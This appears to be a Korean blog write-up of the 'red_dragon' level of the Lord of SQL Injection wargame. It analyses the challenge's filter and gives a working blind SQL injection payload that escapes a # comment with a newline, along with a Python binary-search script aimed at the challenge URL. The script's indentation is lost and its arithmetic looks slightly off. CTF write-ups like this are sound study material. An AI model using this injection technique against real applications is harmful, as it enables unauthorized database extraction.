writeup/LOS
[Lord of SQL injection] red_dragon
hoppi
2021. 8. 5. 15:53
61번째 글.
1. 코드 분석

id의 길이가 7글자를 넘으면 'too long string'이라는 문자열을 출력하고
쿼리 스트링인 no가 숫자이면 그 숫자를 no 변수에 넣고 숫자가 아니면 1을 넣는다.
그리고 반환되는 아이디에 따라서 'Hello id'를 출력한다.(즉 블라인드 인젝션인 것 같다)
마지막으로 admin의 정확한 no를 입력하면 문제가 풀리게 된다.
2. Exploit
?id=%27||no>%23&no=%0a특정값
이렇게 주게 되면

#은 한 줄 주석이기 때문에 개행 문자를 이용해서 escape할 수 있다.
그리고 비교 연산자를 이용해서 blind injection을 할 수 있다.
나는 100000000부터 1000000000까지의 범위를 잡고 이진 탐색 비스무리(?)하게 코드를 실행했다.
import requests
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
def binary_search(low, high):
while(low<=high):
middle=(low+high)/2
url = f'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no>%23&no=%0a{middle}'
res = sess.get(url, headers=headers)
if ('Hello admin' in res.text):
low = middle
print("number is higher than middle")
continue
url = f'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no<%23&no=%0a{middle}'
res = sess.get(url, headers=headers)
if ('Hello admin' in res.text):
high = middle
print("number is lower than middle")
continue
url = f'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no=%23&no=%0a{middle}'
res = sess.get(url, headers=headers)
if ('Hello admin' in res.text):
return middle
no = binary_search(100000000,1000000000)
print('number is',no)

코드를 더 깔끔하게 짤 수 있지만 귀찮으니 PASS..